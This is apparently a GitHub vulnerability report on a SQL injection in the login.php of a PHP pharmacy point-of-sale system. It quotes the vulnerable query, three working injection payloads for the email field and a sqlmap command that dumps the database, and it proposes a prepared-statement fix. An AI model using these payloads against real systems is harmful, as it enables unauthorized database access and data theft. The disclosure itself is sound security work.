Skip to content

SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 login.php SQL injection vulnerability #39

Open
@CveSecLook

Description

@CveSecLook

SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 login.php SQL injection vulnerability

NAME OF AFFECTED PRODUCT(S)

  • Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • Huang Yue

Vulnerable File

  • login.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'login.php' file of the 'Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code' project. This issue arises because user inputs $user and $pass from $_POST['email'] and $_POST['password'] are directly used in SQL queries without proper sanitization or validation. This allows attackers to craft input values that can manipulate the SQL query and execute unauthorized operations.
  • 1

Vulnerability code snippets

    <?php 

if (isset($_POST['login'])) 
{
	$user = $_POST['email'];
    $pass = $_POST['password'];
    $con = new mysqli('localhost','root','','medical');

    $result = $con->query("SELECT * FROM users WHERE email='$user' AND password='$pass'");
    if($result->num_rows>0)
    {	
    	session_start();
    	$data = $result->fetch_assoc();
    	$_SESSION['userId']=$data['id'];
      $_SESSION['bill'] = array();
    	header('location:index.php');
    }
    else
    {
     	echo 
     	"<script>
     		\$(document).ready(function(){\$('#error').slideDown().html('Login Error! Try again.').delay(3000).fadeOut();});
     	</script>
    }
}   
  • In the aforementioned code, the user inputs $user and $pass are directly embedded into the SQL query statement without any form of processing. This allows attackers to manipulate the query statement by including malicious SQL code in their inputs, thereby executing unauthorized database operations.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of the "Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code," Huang Yue discovered a critical SQL injection vulnerability in the login.php file. This vulnerability stems from inadequate validation of user inputs for the email and password parameters, allowing attackers to inject malicious SQL queries. As a result, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information. Immediate remediation is required to secure the system and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

  • OR boolean-based blind - WHERE or HAVING clause
  • MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
  • MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Vulnerability location:

  • 'email' parameter

Payload:

    email=-4156' OR 1214=1214-- DSCn&password=123&login=

    email=111@qq.com' OR ROW(5293,9929)>(SELECT COUNT(*),CONCAT(0x717a7a7a71,(SELECT (ELT(5293=5293,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM (SELECT 8662 UNION SELECT 9796 UNION SELECT 9505 UNION SELECT 3269)a GROUP BY x)-- ahqP&password=123&login=

    email=111@qq.com' AND (SELECT 8848 FROM (SELECT(SLEEP(5)))zeUx)-- fOou&password=123&login=
    Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: email=-4156' OR 1214=1214-- DSCn&password=123&login=

    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: email=111@qq.com' OR ROW(5293,9929)>(SELECT COUNT(*),CONCAT(0x717a7a7a71,(SELECT (ELT(5293=5293,1))),0x71706b6a71,FLOOR(RAND(0)*2))x FROM (SELECT 8662 UNION SELECT 9796 UNION SELECT 9505 UNION SELECT 3269)a GROUP BY x)-- ahqP&password=123&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=111@qq.com' AND (SELECT 8848 FROM (SELECT(SLEEP(5)))zeUx)-- fOou&password=123&login=
  • 2

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

    python sqlmap.py -u "http://192.168.31.216:8116/login.php" --data="email=111@qq.com&password=123&login=" --batch --dbms=mysql --level=5 --risk=3 --dump
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

Suggested repair

  • To prevent SQL injection vulnerabilities, it is recommended to use preprocessed statements and parameter binding when processing user input. The modified code is as follows:
    if (isset($_POST['login'])) {
    $user = $_POST['email'];
    $pass = $_POST['password'];
    $con = new mysqli('localhost', 'root', '', 'medical');

    // 使用预处理语句
    $stmt = $con->prepare("SELECT * FROM users WHERE email=? AND password=?");
    $stmt->bind_param("ss", $user, $pass);
    $stmt->execute();
    $result = $stmt->get_result();

    if ($result->num_rows > 0) {
        session_start();
        $data = $result->fetch_assoc();
        $_SESSION['userId'] = $data['id'];
        $_SESSION['bill'] = array();
        header('Location: index.php');
    } else {
        echo "<script>
                \$(document).ready(function(){
                    \$('#error').slideDown().html('Login Error! Try again.').delay(3000).fadeOut();
                });
              </script>";
    }
    
    $stmt->close();
    $con->close();
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions